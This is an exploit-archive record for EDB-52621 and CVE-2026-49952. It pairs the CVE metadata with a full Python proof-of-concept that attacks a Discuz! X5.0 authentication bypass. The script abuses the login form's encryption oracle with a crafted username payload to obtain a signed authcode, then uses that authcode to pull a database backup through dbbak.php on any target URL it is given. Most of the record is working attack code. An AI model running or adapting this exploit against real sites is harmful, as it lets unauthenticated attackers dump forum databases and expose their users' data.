{"exploit":{"id":"EDB-52621","name":"Discuz! X5.0 - 'dbbak.php' Authentication Bypass","description":"Discuz! X5.0 - 'dbbak.php' Authentication Bypass","cves":["CVE-2026-49952"],"author":"banyamer","published":"2026-07-07","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52621","path":"exploits/php/webapps/52621.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52621.py","vulnerabilities":[{"id":"CVE-2026-49952","state":"PUBLISHED","title":"Discuz! X5.0 Authentication Bypass via dbbak.php Encryption Oracle","titleSource":"CVE Program","description":"Discuz! X5.0 releases 20260320 through 20260501 contains an authentication bypass vulnerability that allows unauthenticated remote attackers to gain unauthorized access to database backup and restore functionality by exploiting a shared cryptographic key between UCenter integration and the database backup API exposed by dbbak.php. Attackers can inject a crafted payload through the username parameter during login to abuse the encryption oracle in logging_ctl::logging_more(), obtain a legitimately signed token, and use it to bypass authorization for database export and import operations, with the additional ability to trigger a race condition to impersonate arbitrary users.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-49952","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-49952"},"updatedAt":"2026-07-28T01:49:38.302Z","retrievedAt":"2026-11-25T16:13:47.468Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52621.png?v=2","url":"https://exploitbin.com/exploits/EDB-52621","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52621/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52621/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:     Discuz! X5.0 - Authentication Bypass\n# CVE:                  CVE-2026-49952\n# Date:                 2026-06-26\n# Exploit Author:       Mohammed Idrees Banyamer\n# Author Country:       Jordan\n# Instagram:            @banyamer_security\n# Author GitHub:        https://github.com/mbanyamer\n# Author Blog  :        https://banyamersecurity.com/blog/\n# Vendor Homepage:      https://www.discuz.vip\n# Software Link:        https://www.discuz.vip\n# Affected:             Discuz! X5.0 (20260320 - 20260501)\n# Tested on:            Discuz! X5.0\n# Category:             WebApps\n# Platform:             PHP\n# Exploit Type:         Authentication Bypass\n# CVSS:                 9.1\n# Description:          Discuz! X5.0 suffers from an authentication bypass vulnerability via dbbak.php using UC_KEY encryption oracle allowing token reuse.\n# Fixed in:             20260510+\n# Usage:\n#   python3 exploit.py <target>\n#\n# Examples:\n#   python3 exploit.py http://target.com\n#   python3 exploit.py https://target.com --proxy http://127.0.0.1:8080\n#\n# Options:\n#   --proxy   HTTP proxy\n#\n# Notes:\n#   • Tune payload if needed (e.g. admin|1|0|0)\n#\n# How to Use\n#\n# Step 1:\n#   Run the script against the target\n#\n# Step 2:\n#   Check if dbbak.php access is granted\n\nimport requests\nimport re\nimport sys\nimport argparse\nimport urllib.parse\nfrom urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\ndef banner():\n    print(r\"\"\"\n╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗\n║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║\n║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝\n║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗\n║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║\n╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝\n        ╔═╗ Banyamer Security ╔═╗\n\"\"\")\n\ndef get_authcode(target, payload, proxy):\n    url = f\"{target}/member.php?mod=logging&action=login&lssubmit=yes\"\n    data = {\n        \"username\": payload,\n        \"password\": \"dummy123\",\n        \"loginsubmit\": \"yes\"\n    }\n    proxies = {\"http\": proxy, \"https\": proxy} if proxy else None\n    try:\n        r = requests.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False, timeout=15)\n        match = re.search(r'authcode=([a-zA-Z0-9]{20,})', r.text)\n        if match:\n            return match.group(1)\n        match = re.search(r'([a-zA-Z0-9]{32,60})', r.text)\n        if match:\n            return match.group(1)\n        return None\n    except:\n        return None\n\ndef exploit_dbbak(target, authcode, proxy):\n    url = f\"{target}/api/db/dbbak.php?code={urllib.parse.quote(authcode)}&operation=backup&appid=1\"\n    proxies = {\"http\": proxy, \"https\": proxy} if proxy else None\n    try:\n        r = requests.get(url, proxies=proxies, verify=False, timeout=15)\n        print(f\"[+] dbbak.php status: {r.status_code}\")\n        if r.status_code == 200:\n            print(\"[+] Success! Access to database backup granted.\")\n            print(r.text[:400])\n        else:\n            print(\"[-] Failed or access denied.\")\n    except:\n        print(\"[-] Request failed.\")\n\ndef main():\n    banner()\n    parser = argparse.ArgumentParser(description=\"Discuz! X5.0 CVE-2026-49952 PoC\")\n    parser.add_argument(\"target\", help=\"Target URL\")\n    parser.add_argument(\"--proxy\", help=\"HTTP proxy\", default=None)\n    parser.add_argument(\"--payload\", help=\"Oracle payload\", default=\"admin|1|0|0\")\n    args = parser.parse_args()\n    target = args.target.rstrip(\"/\")\n    print(f\"[*] Target: {target}\")\n    print(f\"[*] Payload: {args.payload}\")\n    authcode = get_authcode(target, args.payload, args.proxy)\n    if authcode:\n        print(f\"[+] Authcode: {authcode}\")\n        exploit_dbbak(target, authcode, args.proxy)\n    else:\n        print(\"[-] Failed to get authcode.\")\n\nif __name__ == \"__main__\":\n    main()","sha256":"de6343a4a9a66cbd62c6b14bc5cc77369440b5646841229822c0f0c54b32b0cd","bytes":4706,"fetchedAt":"2026-11-26T08:56:00.750Z","encoding":"utf-8 (display only; download retains original bytes)"}